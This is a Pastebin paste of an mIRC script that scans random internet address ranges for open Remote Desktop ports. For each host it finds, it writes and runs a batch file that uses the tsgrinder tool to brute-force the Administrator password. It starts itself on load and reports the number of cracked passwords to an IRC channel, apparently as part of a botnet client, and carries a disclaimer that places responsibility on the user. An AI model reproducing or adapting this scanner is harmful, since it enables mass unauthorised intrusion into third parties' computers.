Guest User

Untitled

a guest
May 13th, 2011
912
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
mIRC 3.39 KB | None | 0 0
  1. ;RDP Range scanner made by independent (need tsgrinder by thor from HoG)
  2. ;Disclaimer:
  3. ;The responsiblity of how the program will be used lies in the hands of the person who installs it and will use it, that's you.
  4. ;I will not be held responsible for any of your actions.
  5. ;If you don't agree, do not install this file.
  6. ;By using the proxy scanner, you accept the responsibility of your action on your own.
  7.  
  8. on 1:LOAD:{ set %username administrator | set %delay 23 | rangerdp 76. $+ $r(0,255) $+ . $+ $r(0,255) | if (!$server) server %def.s %def.p -j $chr(35) $+ $gettok(%def.c,1,32) | if ($server) msg $chr(35) $+ $gettok(%def.c,1,32) $colourencode(* Successfully loaded RDP range scanner with $os .) }
  9.  
  10. alias dothatfkincrap {
  11.   if ($isfile(START.bat)) .remove start.bat
  12.   write START.bat @ECHO OFF
  13.   write START.bat SETLOCAL
  14.   write START.bat SET LogOptions=ECHO DONT_ZIP
  15.   write START.bat logtext $1 "" $chr(37) $+ LogOptions%
  16.   write START.bat logtext $1 "***Cracking $1 User: %username ***" $chr(37) $+ LogOptions%
  17.   write START.bat CALL tsgrinder.exe -u %username $1 $+ $chr(124) logtext $1 "" STDIN $chr(37) $+ LogOptions%
  18.   write START.bat ENDLOCAL
  19.   run START.BAT
  20. }
  21. alias rangerdp {
  22.   unset %range*
  23.   set %range1 $gettok($1,1,46)
  24.   set %range2 $gettok($1,2,46)
  25.   set %range3 $gettok($1,3,46)
  26.   .timerRANGE -om 0 20 nextrdp 3389
  27.   .timerrange2 -o 0 300 tellpass
  28.   if ($server) msg $chr(35) $+ $gettok(%def.c,1,32) $colourencode(* SCAN Starting at $1 .)
  29. }
  30. alias tellpass {
  31.   :NEXT
  32.   %max = $findfile($mircdir,*.*.*.*.log,0)
  33.   inc %incmax
  34.   if (%incmax > %max) || (%max == 0) goto end
  35.   if (!$read($findfile($mircdir,*.*.*.*.log,%incmax),w,*su*,0)) .remove $findfile($mircdir,*.*.*.*.log,%incmax)
  36.   if ($read($findfile($mircdir,*.*.*.*.log,%incmax),w,*su*,0)) inc %passs
  37.   goto NEXT
  38.   :END
  39.   unset %max
  40.   unset %incmax
  41.   msg $chr(35) $+ $gettok(%def.c,1,32) Found %passs passwords.
  42.   unset %passs
  43. }
  44. menu menubar {
  45.   RDP scanner: window -e @rdp
  46. }
  47. menu @rdp {
  48.   scan range: rangerdp $?="String1" $+ . $+ $?="String2" $+ . $+ $?="String3"
  49.   Stop/Pause: stoprdp
  50.   continue:{ .timerRANGE -om 0 20  nextrdp | echo @RDP 8* Resuming from last point... }
  51.   -
  52.   edit dictionary: run notepad dict
  53.   -
  54.   Open mstsc from cmdline: run mstsc -v $?="Ip Please..."
  55.   -
  56.   User %username : set %username $$?="Username please"
  57.   Delay %delay : set %delay $$?="Delay between each brutes in seconds"
  58. }
  59. alias nextrdp {
  60.   :START
  61.   set %temp $r(0,999999999999)
  62.   if ($sock(rdp $+ %temp).name != $null) goto START
  63.   inc %range4
  64.   sockopen rdp $+ %temp %range1 $+ . $+ %range2 $+ . $+ %range3 $+ . $+ %range4 3389
  65.   goto next
  66.   :NEXT
  67.   if (%range4 >= 255) { inc %range3 | set %range4 0 }
  68.   if (%range3 >= 255) { inc %range2 | set %range3 0 }
  69.   if (%range2 >= 255) { unset %range* | .timerRANGE off | if ($server) msg $gettok(%def.c,1,32) * Scan halted. | halt }
  70. }
  71. alias stoprdp { .timerrange* off | .timerrestart off | sockclose *rdp* }
  72. on 1:INPUT:@rdp:sockopen RDP $+ $r(0,999999999999) $gettok($wildtok($1-,*.*.*.*,1,32),1,58) 3389
  73. on 1:SOCKOPEN:RDP*:{ if (!$sockerr) { .timerRANGE off | .timerRESTART -o 1 %delay .timerRANGE -om 0 20 nextrdp 3389 | set %range3 $gettok($sock($sockname).ip,3,46) | set %range4 $gettok($sock($sockname).ip,4,46) | dothatfkincrap $sock($sockname).ip | if (!$read($findfile($mircdir,*.*.*.*.log,1),w,*su*,0)) .remove $findfile($mircdir,*.*.*.*.log,1) | sockclose *rdp* } }
  74. ;RDP End
Advertisement
Add Comment
Please, Sign In to add comment